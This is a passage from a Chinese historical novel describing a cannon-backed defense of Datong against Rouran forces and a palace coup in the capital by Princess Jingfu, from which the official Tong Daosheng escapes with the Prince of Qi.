这时,宋启愚也登上了西卫城。正在拼死作战的士兵们看到“帅”字大旗飘扬在箭楼之上,全都欢呼雀跃,士气高涨到了极点。在又放了几炮之后,有两门铁炮发生了炸膛,并造成数名炮兵受伤。余天锡立即命令停止装填,静待炮身冷却。宋启愚见状也赶紧吩咐增调床子弩上城,又用预备队轮换守城部队,并组织士兵们抓紧时间吃饭休息。 摩柯莫利用这个空当,重新组织了部队,并向乌利可汗做了汇报。乌利为了鼓舞部下,也亲临西卫城外,并将自己的卫队派上了战场。 未正时分,周军的铁炮再次吼叫起来。随着一颗颗弹丸砸向柔然大军,无论是“铁浮屠”、攻城队、器械队,亦或是可汗的卫队,都不能再用身体或精神对抗炮火。不大的工夫,他们便产生了混乱。宋启愚转头命令道:“看样子,敌人很快就会崩溃。康恩,刘戈,你们到毛小军中,见我帅旗起伏,便从城内杀出,打他们一个措手不及。” 周军的炮弹越打越远。到了后来,甚至有一颗弹丸滚到了乌利可汗的亲兵卫队跟前。一匹御马受了惊吓,开始狂跳乱撞。卫士们担心可汗受伤,不由分说,拥着乌利就向后退。顶在前面的柔然骑兵见可汗退却,一下子慌了神,很多士兵开始向后逃跑。乌利可汗和摩柯莫一连斩杀了十几个败兵也无法阻止部队败退。就在这时,西卫城上的帅旗起伏了三次。周军打开城门,放下吊桥,毛小率领着两千骑兵呐喊着就冲了出来。已经失去斗志的柔然人再也抵敌不住,争先恐后地向西北方向溃散,就连乌利本人也被败兵裹挟着向北逃走。这下,被扔在战场上的柔然伤兵和器械部队可倒了霉,被周军砍瓜切菜一般杀了个干干净净。 见毛小等人已经追出了一里多地,宋启愚急令鸣金收兵。毛小也清楚柔然战力仍在,随命令部队,一部分布阵于外,掩护撤军,一部分打扫战场,收缴物资。由于担心柔然人再次利用器械攻城,毛小还下令用火焚烧了所有无法运回的器械和铠甲。 第三十二回3 文德门之变 乌利可汗气哼哼地回到营垒,一连斩杀了七八个作战不力的将领。他重新发出了整饬部队、加强军纪的命令,并发誓要困毙大同,为战死的将士报仇。 而打了胜仗、接受过军民欢呼之后的宋启愚,回到巡抚衙门时,依然愁眉紧锁。吴襄、曹可用等人奇怪地问:“宣道,咱打赢了,你咋还不高兴呢?”宋启愚轻叹一声说:“虽然咱们数次击败了柔然人,但城外依然有七八万敌军筑垒虎视,而且,这几仗打下来,我们也损失了三千多士兵。若被长期围困,朝廷的救兵不能及时赶到,大同的前景依然不容乐观啊!”余天锡有些得意地说:“宣道大人只管放心,只要有我的炮营在,管叫柔然人打不进来。”宋启愚拍了拍余天锡的肩膀,说道:“天锡今天打得不错,大涨了我军的威风。我即刻向朝廷上书,保奏你们的功劳。只是,你可曾想过,咱们城内的火药储备还能打几轮这样的大战?”余天锡迟疑了片刻,结结巴巴地说:“应该……还能打……少说,能抵抗敌人的十几次攻击吧。”宋启愚又追问道:“那,十几次之后呢?”余天锡有些张口结舌。宋启愚又说:“今天,我简单算了算,每门铁炮这次使用的火药在五百斤上下,三十门炮就是一万五千斤,咱大同城内的火药储备一共也才八万多斤。一旦火药用尽,铁炮也就失去了威力。另外,城内的储粮虽然够十几万军民支撑大半年时间,但草料的储量显然不足,还有淡水的储备也有限度,这些都是我要考虑的问题呀。还有……”宋启愚突然想起了董阳,随问道:“光照现在怎么样?”吴襄答道:“牙掉了两颗,脸上被钻了个洞,养几天就没事了。幸亏这些‘铁浮图’用的是细杆箭,不然,还真有些麻烦。”宋启愚点头说:“过会,咱们去看看他,让他好好养伤。”曹可用张嘴问道:“宣道,咱向张永德和张洪涛求的救兵可有消息?”宋启愚苦笑着说:“张永德根本没见咱的信使。张洪涛倒是发了个调兵文书,只是被武州镇守使马庆明扣留了。国栋为此数次去见马庆明,甚至跟他的长官翻了脸,可那马庆明还是不愿出兵相助。前日,国栋来信说,若实在不行,他就辞去张家口镇守的职务,仅带本部一千亲兵前来相救。”吴襄急忙制止道:“这可不行啊!莫说一千兵马,就算他带着五千兵马来,恐怕也无济于事,只会白白赔了性命。”宋启愚微微笑了笑说:“我已经回信,言明这里的战况,让他稍安勿躁。另外,我先前从朔州调往雁门关的三千军队已经编入了韩镇守使麾下。由于受到我们的牵制,柔然人很难派出超过五千人的军队南下,如此一来,雁门关一线的一万多守军,加上应县的三千兵马和山阴县的三千兵马,应该可以保障雁代地区的安全。至于说,朝廷的援军……”宋启愚略做停顿,拿出一张信卷说:“再造来信说,成王的军队驻于黄河沿线,而宰相刘睿的大军驻于澶州,跟我们还相距千里呢。加上我们与朝廷的交通已经中断,所有军情、旨意都要通过韩镇守使转发,恐怕获得援助不是短时间内能够期盼的。”这时,毛小乐呵呵地走进大厅。他先给宋启愚行了礼,起身说道:“宋大人,毛小请您和列位将军到我的军营吃酒去,酒少了些,不过肉管够!”曹可用笑着问:“你穷小子一个,平常还挺抠,今天怎么这么大方?”毛小嘿嘿笑道:“曹爷不知,这都是柔然人请客。俺下午突出西卫城砍杀了一通,顺便打扫了战场,除了刀矛弓弩,铠甲牲畜,俺还顺便拉回了百十头死牛、死马、死骆驼,不但咱有的吃,全城的百姓今晚都能吃上肉。”吴襄拍拍曹可用说:“你别小看这小子,他的主意多着呢。他在撤回城里之前,把柔然人的攻城器械全烧了。这样一来,要制造这些东西,敌人至少得耽搁半个月。”宋启愚的心情略微好了些。他站起身,微微一笑说:“好吧!刚打了胜仗,又是柔然人请客,咱们晚上就跟士兵们一块乐呵乐呵。” 第三十二回4 文德门之变 千里之外的汴梁城,前几天发生了一起灭门大案,京郊紫玉庄的封姓人家七口人被杀。由于被害人中有一位是静福公主府的外院书办,身份虽不尊贵,却十分特殊,所以,开封府尹陆祥楠非常重视此案。他亲自到紫玉庄参与调查和侦讯,可数日已过,案情却毫无进展。快到中午的时候,找不到蛛丝马迹的陆祥楠升轿回府。大轿进了阊阖门,又上了西大街。突然,前方跑来一个中年妇女,扯开嗓子,狠命地呼喊道:“冤枉啊!求青天大老爷为我夫我儿主持公道!”坐在轿中的陆祥楠被吓了一跳。他急忙命仪仗停住,隔着轿帘问手下道:“什么人拦轿喊冤?”下人躬身回道:“老爷,是一妇人。”陆祥楠轻咳了两声说:“领她上前,问问她有何冤屈?若有状纸可与我拿来,然后,带回府衙再审。”下人听命,前来问妇人的话。那女人跪伏于地,边哭边说:“回老爷话,小女子姓王,丈夫高横,儿子高山、高顶、高谷,都在内廷统领秦邦未府里听差。几天之前,他们奉主家差遣夜出公干,后半夜才回来。看他们身上都有血迹,我就问他们干了什么。我那丈夫叫我少打听,只说是紫玉庄前的事情。他又从床下拿出一个沉甸甸的包袱,告诉我说,这是一部分赏金,第二天回复了主家,还有重赏。”那女子还要往下说,陆祥楠一把挑起轿帘,吩咐道:“把她的状纸和凭据拿来,带回衙门再问。”他又命令从人道:“你们几个好生看顾这位大嫂,不得有所差池。”四个下人答应一声,便过去围住了王氏。那妇女见老爷现身,又向前跪爬了两步,高声说:“老爷,小女子并无状纸,只有丈夫和儿子托我保管的账册一本。小女子不识字,不知道里面写了些什么。只是我家儿子出门前告诉我,若他们三日不归,定是被人害了,要我拿着账册到衙门去喊冤,为他们报仇。到今天,他们已经七天没有音信了。我到内廷统领府去打听,府上的人只说派他们出京办差了,再多问时,他们就把我轰了出来。我这才回去翻出了账册,前来喊冤的。”陆祥楠用手一指说:“拿来我看。”一个随从上前把账册拿过来交给了陆祥楠。陆祥楠拿着账本,向大街两厢扫视了几眼,心想:这下可坏了,如果那封家灭门真是秦邦未派人干的,一定会揭露出静福公主母子和驸马秦国勋等皇亲国戚的秘密。自己一个小小的府尹,如何敢过问这等事情。想到这里,陆祥楠马上吩咐道:“此事重大,当会同刑部一同处理。转向南城刑部衙门。”从人答应一声,摆开仪仗,抬着大轿向南城开去。 陆祥楠坐在轿子里,见那账册封面上写着《内府纪要》几个字,就好奇地翻开查看。他刚看了两页,头上就冒出了冷汗。他又向后翻了几页,手脚和身体竟不由自主地哆嗦起来。原来,那账册上分明记录着,某年某月某日,静福公主在府内召见某官,向其送礼若干或展示罪证几项,命其参与某事,照顾某人云云。陆祥楠又大着胆子继续往后看,声音极小地自言自语道:“工部的魏大人,吏部的黄大人,刑部的龚大人,这是侍卫亲军赵大人,这是大理寺卿,这是兵部的王大人……这是冯相。我的妈呀!可闯了大祸了!”他瘫坐在轿中,精神恍惚,不知所措。过了好一会儿,他突然强坐起来,用衣袖擦了擦脑袋,拿起座位边的书袋,把里面的《论语》抖出,又飞速地把《内府纪要》塞进书袋里,然后,颤抖着声音对外面喊道:“住轿。不,不去刑部了。转赵相府。快,快,快点。” 第三十二回5 文德门之变 宰相府内,赵松寿正由一群美姬服侍着,享用饕餮盛宴。他张嘴吃了一口侍妾夹过来的鹿肉丝,再转头含了一勺婢女呈上的蜜汁蒸蛋,接着,又俯身喝下一盅娇娘送到嘴边的美酒。他气定神闲地咀嚼着食物,优哉游哉地观赏着帷幔外的乐舞表演,舒心和快慰洋溢在红润的面庞上。忽然,一个干办在门口探头探脑地晃了一下。紧跟着,一个心腹师爷慌慌张张地走进饭厅。那师爷施完大礼后,说道:“相爷,开封府尹陆祥楠有要事求见。”赵松寿把脸一沉说:“没规矩。陆府尹能有什么大事。本相用餐最讨厌有人打扰,你难道不知道吗?”那师爷又磕了个头说:“相府规矩,小人自然明白。不过陆府尹说此乃万分紧急事件,牵扯多位皇亲国戚和朝廷重臣,必须及时向恩相报告。小人这才冒死,前来通报的。”赵松寿示意姬妾拿着丝帕帮他擦拭嘴巴和胡子,慢条斯理地说:“真是,本相吃个饭也不得清静。让他在接官厅等候,本相更衣后,再去见他。”师爷陪着笑说:“能有相爷为国理政,真是天下人的福气。小人这就去安排。” 陆祥楠在接官厅里来回踱着碎步,不停地摩擦着双手。当看到赵松寿在两名婢女的搀扶下走进来时,他就象见到救星一般,匍匐到宰相面前,激动地说:“恩相,出大事了!”赵松寿并没有马上搭茬,而是从陆祥楠身前走过,稳稳当当地坐到了太师椅上,然后才说:“慌什么,能有什么大不了的。”陆祥楠转动膝盖,向前跪爬了几步,从怀里掏出书袋,捧着呈上说:“此事机密,请恩相屏退左右。”赵松寿看陆祥楠如此紧张,便挥手让婢女和下人们都退了出去。他接过书袋,拿出那本《内府纪要》,展开观看。一看之下,赵松寿惊愕万分。他站起身,郑容说:“静福公主这是要干什么?难道想谋反不成!”他又冷静了一下,问道:“这个东西你是如何得到的?”陆祥楠就把自己几天来查案、涉事人的背景以及有人拦轿喊冤的经过讲述了一遍,并补充说:“七天以前,下官的衙役还没到紫玉庄,公主府的人就把封家宅子里所有的文本都收走了。领头的白公公还说,事关皇家机密,叫我早早结案。下官当时还纳闷,怎么公主府的人消息这么灵通。”赵松寿又仔细把《内府纪要》看了一遍,皱着眉头说:“这个账册应是公主府内的亲近太监记录的。不知由于什么原因,落到了外院封书办手中。如你刚才所言,本相推断,那封书办在辞差时,或许说漏了嘴,或许被人攀咬,总之,公主不再容他。于是,便让秦统领除去了封家。”赵松寿捋着胡子,又想了想说:“去年……好像公主府杖毙了几个太监,还向皇上报备过。当时,谁也没在意,现在想来,也许跟这本纪要有关系。”陆祥楠拱手问道:“那这本纪要是如何又落到高氏父子手中,恩相是否要提审一下王氏呢?”赵松寿眯缝着眼睛看了看陆祥楠,低声说:“糊涂,还有必要提审吗?或许是封家人为求活命主动拿出,或许是那杀手翻检财宝偶然得到,我猜那几个杀手一定也被灭了口,死无对证了。现在,再了解案情已经不重要啦。重要的是,咱们该怎样处理此事。”陆祥楠再次跪倒说:“卑职拿到此书,刚看了两页便觉五雷轰顶,不敢再读,随径直到了恩相府上。该怎样处置,还请恩相示下。”赵松寿让陆祥楠起来,又说道:“忠于圣上、忠于皇家是我孔孟学子该有的品格。如今,既然有人胆敢威胁皇权,我们又怎么能让她得逞呢?我这就写下折本,再附上这个纪要,进宫面君,奏明此事。生杀予夺,都该由圣上裁断。只是……”赵松寿犹豫了片刻,接着说:“只是,圣上正在病中,每十日一朝,昨日才刚刚朝罢,此时面君只恐不易。”他又叹了口气说:“唉,为了皇家安全,赵某纵是赴汤蹈火也在所不惜。”陆祥楠非常感动,跪下说:“相爷对陛下的忠心,遍观朝野无人能及,吾皇能得到赵相辅佐,真乃社稷之幸,国家之幸啊!” 未末时分,赵松寿急急地赶到了文德门。他向守卫军官和执事太监递上腰牌,要求进宫面圣。可那太监却拿出一块金牌来,不容置疑地说:“皇上口谕,所有外官未奉圣旨一律不得入内。”赵松寿从袖中摸出一锭大银递了过去,又陪着笑说了几句好话。那太监口气和缓了些,说道:“赵相,不是咱家难为您,是皇上病重,真的有口谕。您也知道,这些日子所有军国大事全都是在政事堂摘录之后,送进内宫的。要不然,您就等朝会再觐见皇上。要是咱家就这么放您进了宫,那白晨公公和白显公公还不扒了我的皮。”赵松寿正不知如何是好,忽见童道生捧着折本打政事堂方向趋步走来。他前出几步叫住童道生,说:“童舍人可是来送要折简报的?”童道生深深一躬说:“正是。下官手捧文书不便下拜,还请赵相恕罪。”赵松寿笑笑说:“你来的正好。本相这里也有一份重要折本,须即刻呈与圣上。”说着,他便把奏折和那本《内府纪要》放在了童道生捧着的折本最上面。童道生略一迟疑,恭敬的说:“赵相,按照规矩,陛下不朝期间,重要折本都要誊录之后,才能上达天听。这份奏疏,您看是不是应先送到政事堂,让另外几位中书舍人登记后,再送进宫中呢?哪怕卑职一会儿再跑一趟,也是……”赵松寿正为刚才被太监挡驾恼火,现又被一个属官驳了面子,愤怒地喝道:“放肆,国家大事岂是你这芝麻小官敢过问的?速速送到内监手上,呈皇帝御览。”童道生又施一躬,说道:“赵相不要动怒。下官将此疏送到文德门前没有问题,只是您至少要让我看一眼奏疏名目,下官才好回复内官问话。”赵松寿犹豫了一下,压低声音说:“童舍人,此乃绝密事项,本相只能让你看个梗概,你万不可对外宣扬。一旦走漏了风声,老夫先要诛你满门。”童道生躬身说道:“卑职感谢赵相信任。”赵松寿不想让童道生看的太仔细,便拿起折本展开在对方面前,继而飞速地翻动了几页,说道:“好了,童舍人,可以送进宫了吗?”不过他并不知道,童道生有一目十行的本事,在短暂的时间内,已经记住了奏折里的大部分内容。童道生内心非常慌乱,不过嘴上却说:“相爷翻得好快,卑职不曾看清。”赵松寿冷笑一声说:“去办差吧。事后,本相不会亏待你的。”童道生再次给赵松寿行了个礼,便走向了文德门,毕恭毕敬地将手中的奏疏交给了门前的那名太监。站在不远处的赵松寿长舒了一口气,大摇大摆地向宫外走去。 在回政事堂的路上,童道生的脑子飞速地转动着,联想到近期朝内的人事变动和近日京城、宫城的防卫变化,他预感到开封即将发生大事。他仰望北方,喃喃自语道:“要是宣道兄长在就好啦!”进了政事堂,童道生仍然有些魂不守舍。他坐在自己的书桌前,回想着刚才所看奏折的内容,思考着皇上和静福公主下一步究竟会做什么。忽然,邻座的中书舍人开口问道:“那份弹劾秦国勋回京途中僭越不法的奏折怎么找不到了?”另一个中书舍人搭腔说:“跟上回一样,被内廷统领拿着圣旨要走了。前次弹劾秦驸马的润州知州还被治了罪。据我估计,象这种奏折,十有八九到不了陛下手上。”这句话在童道生听来,犹如耳畔响了个霹雷。他“腾楞”一下站了起来,旋即又脸色苍白地坐了下去。其他几个中书舍人被他的举动吓了一跳,还有人关切地问他是否身体不适。童道生顾不得许多,奔进机要室找寻了一通,然后若无其事地走出房门,冲几位同僚作了个揖说:“各位大人,童某今日颇感疲惫,想先行回府,请诸位体谅。”说完,也不等别人回答,他便径直踱出了政事堂。 待走出宣德门,童道生快步奔向自己的车马,吩咐从人道:“赶紧回府。” 到家之后,童道生让夫人马上收拾行装,务必在关闭城门之前带着一家主仆逃出京城,奔向山西。他又命王虎跟着自己,换上平民百姓的衣帽,前往静福公主府观察动静。 而在皇宫大内,赵松寿呈送的奏折果然没能交到同泰帝手上。文德门的值守太监先把奏疏送到了秉笔处。在那里,大太监白显正被几个中级太监围着溜须。白显悠然地抄过那几份折本,漫不经心地看了起来。当他打开第二份奏疏时,惊惧写在他的脸上。他的手略略有些发抖,脑门上的青筋也臌胀起来。看完奏折,白显平静了一下心情,说道:“看来要坏事!我这就去见公主,请她的示下。你们几个就在宫里盯着,任何内官不许出宫,若是白晨公公和内廷司的人,先想办法拖住他们。”说完,他抓起那份奏疏和纪要,就急急地出了屋门。 得到消息的静福公主当机立断,决定于亥时发动政变。她坐上车撵在众多“僚属”的簇拥下出了公主府,直奔宣德门。 半个时辰之后,志得意满的静福公主站在宣德殿的御阶上,朗声命令道:“白显,晋升你为内宫总管太监。命你即刻封闭大内,将皇帝转往金龙殿幽禁。”白显跪在地上,两眼放光,呼喊道:“谨遵公主殿下谕旨。”静福公主又说道:“任命执政温国刚为宰相,着手起草各种诏书,并安抚群臣,组建内阁。”温国刚跪地高呼:“臣诚惶诚恐,必不负殿下所托。”静福公主看着他的儿子,说道:“秦邦未出任禁军大统领,把守宫城,保卫本宫安全。”她又目视前方说:“晋升赵义廷为枢密使、车骑将军,全面接管开封防务。从即日起,封锁京城,实施宵禁。”赵义廷跪伏于地,激动地说:“臣多谢殿下提点。臣这就去布置兵马,加强城防。”静福公主接着说道:“本宫已命人将皇十九子石垚接到身边,只要今夜文书齐备,即可立为皇太子。待天子退位,他就是我大周的新任皇帝。”她略做停顿,又说:“为防其他皇子觊觎皇位,本宫特命驸马秦国勋出任都督内外诸军事,加封越王,专管皇家内部事务。另外,褫夺成王和刘睿兵权,令其回京听参,所领部队原地驻防,等待命令。”秦国勋躬身一揖说:“臣这就去召集人马,包围各成年皇子府第。有胆敢反抗者,一律抓捕治罪……” 待所有政变事宜安排停当,静福公主突然心血来潮,提出——要从文德门进入皇宫。 在黑黢黢的夜幕下,文德门缓缓开启。静福公主在一众从人的随护下,乘坐皇帝的銮舆进入了这座宫门。一颗流星划过夜空,静福公主激灵灵打了个寒颤。她紧了紧貂裘,无限感慨地说道:“四十四年间,本宫走过所有的宫门,唯独没有进过这座,今天,终于得偿所愿了!” 第三十三回1 天下震动 公主府的骚动引起了童道生的警觉。当他在巷口望见公主的车驾往鼓楼方向开去时,他的脑海中闪过了一幅幅争夺皇位的历史画面。其后,童道生又赶到宣德门外,探看皇城的防卫情况。就见那宫墙之上刀枪林立,门前及甬道两侧戒备森严。童道生仰天长叹道:“想不到,赵高矫诏、王莽篡汉、杨广夺位、玄武之变又在我朝上演了。好端端的一个国家,竟被这帮野心膨胀之徒弄得乌烟瘴气,实属可恶之极!”旋即,他坚定地说道:“跟我到豫王府去,帮助殿下提兵勤王。” 此时,尽管皇城内外已是风雨飘摇,但豫王府这个小天地却仍在歌舞升平。自从被父皇冷落之后,石均变得意志消沉,不思进取,整日除了抱怨,便以声色犬马为乐。今天,他又召来一群歌姬舞姬,纵情宴饮,到了现在,已有七八分醉意。 童道生和王虎满怀希望地奔到豫王府,不成想,却吃了个闭门羹。先是门前执事看他身穿百姓的衣服,出言奚落;又有干办伸手,讨要门包;还动作缓慢,迟迟不予通报;童道生在门房焦急地等候了一刻钟,还没见到这位殿下。他突然摸到了怀中的文书,那是他下午在政事堂机要室冒死偷出的空白圣旨和通关文牒。童道生灵机一动,擎旨在手,高喊道:“来人,马上带我去见豫王,有旨意。”王府的干办和太监见了圣旨,不敢怠慢,赶紧领着童道生往内院正厅走去,还有人飞奔着进去报信。到了内堂门前,石均被几个太监架着,一路歪斜地迎到了阶前。童道生闻着豫王身上浓重的酒气,看着说话含混、瘫软如泥的石均,心中好生难过。他紧咬牙关,轻声说道:“江山与你无缘。扶殿下回去歇息吧!”说完,童道生把脚一跺,头也不回地快步走出了王府。 跟王虎汇合后,童道生冷静了片刻,说道:“现如今,遍观诸王,能够担负重任的,恐怕只有齐王了。快随我来。”二人打马如飞奔向了西大街。而此时,已过了亥正。赵义廷正在侍卫亲军司给部将下达封城的命令;秦国勋正在赶往宫城边的内大臣衙门,准备在那里布置包围各个皇子府邸的任务。 到了齐王府,童道生高举着圣旨,喝道:“快快打开大门,通报齐王,圣旨到。”齐王府的属下动作还算利索,不多时,童道生便在前厅见到了石坚。齐王先是一惊,说道:“童舍人何故如此装束?”旋即,他便自释说:“想必圣上有特殊安排。儿臣接旨便是。”童道生管不了许多,上去一把抓住石坚的手说:“殿下,大事不好。您快带些亲信随我逃出京城,晚了可就来不及了!”石坚勃然变色,一把甩开童道生说:“你在说些什么,疯了不成!”童道生从袖子里摸出一份文扎,那是他回府后根据记忆复写的赵松寿奏折和《内府纪要》第一页。他说:“殿下先看看这个。”石坚迟疑着展开文扎。他刚看了个开头,便双腿发软几乎跌倒,幸亏被身后的白登架住。他两眼发花,哆哆嗦嗦地看完文扎,说道:“这,这,这可如何是好?”童道生上前一步说:“臣戌时去过皇城之外,见到处都是公主府和侍卫亲军的人马。刚才,大街上已经出现了巡逻设卡的士兵,估计不久之后,他们就会来抓殿下。请殿下快做决断。”石坚浑身抽动,颤抖着声音说:“我,我……事,事,事到现在,我,我又能,能怎样?”童道生坚定地说:“殿下可知‘侯景之乱,囚禁梁武’的故事。现在,静福公主已经谋反,殿下应逃出京城,前往宰相刘睿军中,发表檄文,挥兵勤王,解救陛下。”齐王略略平复了些,语无伦次地说:“是,是,是挥兵勤王,解救陛下,解救陛下。不,不,不过,刘相怎能相信我呢?”童道生将圣旨塞进齐王手里说:“殿下,这是一份用过玉玺的空白圣旨。咱们在逃往滑州途中完全可以补全文书。”齐王全身还在战栗,又说:“你,你,你是怎样拿到空白圣旨的?”童道生说:“政事堂机要室常年保有一份。哎呀,殿下,不要犹豫了,快下决断呀!”石坚又向左右看了看,迟疑地说:“那她们,还有我的那些庄田……”童道生急切地打断他的话,说道:“有殿下在,这些都是你的,若殿下被捉,这一切皆属他人!”到了这时,石坚终于清醒了些。他对从人命令道:“齐元能,集合亲兵卫队,准备车马,随本王出行。白登,让王妃带上少王爷先回娘家躲避一阵。”接着,石坚又向其他人交代了王府内的一些事情,还叫从人去把他最心爱的两名姬妾带来。童道生看着乱哄哄的王府内外,上前说:“王爷,没时间了,快跟我走。”说完,他拉着齐王,就往备好的马车奔。到了车前,童道生不由分说,将石坚和白登掫到了车上。然后对齐王亲兵喊道:“随我来。”他出了王府,骑上战马,和王虎走在车马前面,径直奔西门投去。 一行人急急忙忙地逃到了大梁门前。可是,城门早已在侍卫亲军的严密控制之下。童道生拨转马头,回到车前,对里面说:“殿下莫慌,可让白公公手捧圣旨坐在身前,那些军将绝不敢冒犯车内。”然后,他故意放慢了速度,大大方方地驱马到关卡处,高声喝道:“赶快打开城门,放下吊桥,我等奉公主所差前往成王军中传旨,尔等不得阻拦。”城门值守军官打量着来人,说道:“指挥使有严令,今夜任何人不得出城。你可到侍卫亲军司开具手令,我方敢放行。”童道生把眼睛一瞪,一边取出通关文牒一边骂道:“放肆!睁开你的狗眼看看,静福公主亲手颁发的皇家凭证。快快与我闪开。”那军官身子矬了一截,双手接过文牒,凑近火把仔细看了半天,又毕恭毕敬地双手奉还,陪着笑说:“上差老爷莫怪。今夜确实有命令,末将这就让人开城。不过,恕末将无礼,是否能让我等查一查您的车辆和从人?”童道生冷笑几声说:“兄弟,你可真不知道天高地厚。公公的车也是你敢查的?前些日子,因夜出关城冲撞了内官,被处死的连平是你们侍卫亲军司的人吧?”那军官听了这话不由得打了寒颤,赶紧陪着笑脸说:“上差不要误会,末将只是想给公公道声辛苦而已。”随后,他又大声对城上喊道:“上差老爷要出关,快些打开城门。我去向公公问安。”说完,他带着两个军将趋步跑到马车前,单腿跪地行礼说:“末将问候公公。不知公公欲往何处公干?”白登的心跳得很快。他极力克制着,说道:“公主所差,也是你能过问的吗?童大人已经跟你讲得很清楚了,是不是圣旨还要让你看看啊?”那军官一听话音,赶忙赔礼说:“公公休怪,末将也是奉了上命,不得不为。”白登挖苦道:“什么上命,不就是赵义廷吗?他的官能不能当,还不是公主殿下一句话的事吗!快快放行,别耽误了咱家的事。”那军官不敢再犟,乖乖地命令军将们打开了城门。童道生等人如蒙特赦,催动着车马,快速地冲出了大梁门。 这时的宫城,已经恢复了平静。除了政变之初有几十名太监在内廷司和皇帝所住的养居殿前进行了战斗之外,宫内并未发生大规模流血事件。当白显领着一帮手下冲进养居殿时,守在同泰帝身边的只剩白晨和几名宫女、太监。白晨张开双臂,喝止道:“站住,圣驾在此,尔等不可造次。陛下想知道你们是要刺王杀驾呢,还是另有目的?”白显冷笑道:“我等伺候了皇上十多年,自然不会谋逆弑君,只是想请皇上移居金龙殿,再写下退位诏书,传位给皇十九子石垚,由公主殿下辅政而已。”白晨挺身向前一步,说道:“陛下正在卧病,行动不便,可否宽延时日,再做商议?”白显怒目盯着白晨,骂道:“你个老狗,以前从不把我等放在眼里。今天,爷爷得了势,你还敢出来挡横,速速给我滚开。否则,休怪咱家心狠手毒!”后面的同泰帝挣扎着坐起来,喘着气说:“白晨,回来。他们这帮奴才还不敢把朕怎么样。只是,朕英明睿智,重德爱民,可到头来竟落得跟汉献帝一样的下场。老天真是不公啊!”一口鲜血从他的嘴里喷了出来。同泰帝两眼一翻,昏死了过去。白晨赶紧过去,抱住皇帝呼唤抢救。过了好一会儿,同泰帝才缓缓地睁开了双眼。他轻声命令说:“白显,你们先退下。朕要梳头,更衣。”见白显等人还不动,同泰帝斥责道:“你们这帮乱臣贼子,难道让朕这个样子去金龙殿吗?不消多时,两刻钟足矣。”白显这才领着手下悻悻地退出了养居殿。 第三十三回2 天下震动 第二天清晨,静福公主将温国刚传到了养德殿,向他询问各种文书的准备情况。温国刚恭恭敬敬地跪在御案前,禀报道:“殿下,臣已经用倒填日月的方式写下了十二道诏书。其中,最早的文书是同泰七年正月加封石垚为睢阳郡王的;其后,又在同泰八年改封睢阳郡王为南阳郡王;九年,晋封南阳郡王为汉中亲王;十年,授汉中亲王双亲王俸禄;同泰十一年二月,立汉中亲王为皇太子。所有文书均已齐备,今日便可昭告天下。”静福公主点头说:“温相思虑周密,做事仔细,真乃老成谋国之臣。待皇帝写下退位诏书,即可拥立石垚做新天子。”温国刚又磕了个头说:“臣还写了一个推举折,希望公主殿下能顺应军心民意,出任擎天静福执政,与新皇共同治理国家。”静福公主微微一笑说:“温相先起来吧。只要民心在我,这是早晚的事情。不过,现在还有一个棘手的问题需要解决。昨夜,越王抓捕了所有在京的皇子,却独独走脱了齐王石坚。听他府上的人说,是中书舍人童道生前去报的信。石坚在逃出大梁门时,声称要前往成王军中。若齐王和成王联合起兵,反攻京城,那可是我们的心腹大患啊!不知温相可有对策?”温国刚略微想了想,说道:“齐王和成王一向有矛盾,是不会真心联合的。公主可下旨剥夺他们的王位,罢黜他们的官职。同时,派出可靠将领前去接管成王和刘睿的军队,重贿他们手下的军官。皇权在咱们手中,他们无名无份,是闹不出多大动静的。”静福公主闻言大喜,急召秦国勋和秦邦未前来听令。 逃出大梁门的童道生和齐王先向西奔,又往北行,跑了一夜,终于到了延津渡口。童道生顾不得疲累,催马来到黄河岸边。为了甩掉追兵,他花重金雇下了所有的渡船,并要求他们在北岸停留一天,还告诉他们,等自己返回渡口时,必有重赏。船工们得了银子,自然十分高兴,纷纷应承下来。童道生拨马来到车前,请齐王等人登船。石坚一脸困倦地说:“童大人,咱们一夜奔波,水米未进,人困马乏,可否在此歇息个把时辰再走?”童道生急切地说:“殿下,也许追兵就在身后,还是快快登船,等到了河对岸,抑或到了刘相军中,再歇不迟。”在童道生的一再坚持下,石坚才带着手下慢慢吞吞地上了船。 几支渡船刚刚划出码头不远,就见延津以南尘头大起,追兵赶来了。石坚望着那些冲到岸边,望水兴叹的军将,心中百感交集。他冲着童道生跪倒说:“童大人数次相救。若本王有得势的一天,定然高官厚禄报答大人。”童道生仅仅还了一揖说:“殿下,快把圣旨请出,臣这就草拟诏书。咱们也好持诏控制刘睿大军,进而打出‘奉密诏讨贼’的旗帜,号令天下,入京勤王。” 时近中午,秦国勋的堂弟秦国锐捧着静福公主发的诏命来到了成王的军营。这位成王虽有能战之名,可实际上除了会些内斗的本事之外,百无一用。当他听说要褫夺自己的兵权时,惊诧地问道:“父皇为何要夺我的兵权,难道有人陷害本王不成?”秦国锐冷冷地说:“微臣只负责传达旨意,具体情由,殿下回京面圣一问便知。”石堃又为自己辩解了数番,可都没有结果。最后,石堃不得不低下头颅,接领了圣旨。秦国锐大模大样地转过帅案,想坐上正座发号施令。站在旁边的周亮突然问道:“秦将军,你可持有我殿前司的调军兵符?”秦国锐一愣,旋即傲慢地说:“圣上不曾提起,谁人敢问?”周亮轻笑一声说:“在领兵出征之前,有御史弹劾,成王有亲王身份,而我身为枢密既有调兵之权,又行统兵之责,一旦有变,后果难测。为此,陛下特意召见了我等,将调军兵符收在身边。陛下既然任你为将,又怎么会不授予你凭证呢?”秦国锐被问得哑口无言。他干笑了两声说:“这个,或许是陛下疏忽了。周将军若不信我,等进京见了圣上不就清楚了吗。”周亮冷笑着说:“殿前军乃国之重器,周某不敢轻付他人。”周亮对左右将佐吩咐道:“来人……下了他们的兵器,请秦将军到后帐好生歇息。待本将遣使回京,问明了情况,再与秦将军交接不迟。”帐前的十几个军将听命,冲上来,不由分说便把秦国锐等人拥到后面去了。 此后,在一天之内,成王和周亮派出了五批信使回去打探消息。可这些人就象泥牛入海,再也没有回音。到了夜里,秦国锐害怕真相败露丢了性命,随瞅了个空子,悄悄逃离了军营。成王等人得到禀报后,认为京城确实发生了变故。周亮建议立刻收缩兵力,加强防务,等弄清了情况,再做下一步打算。 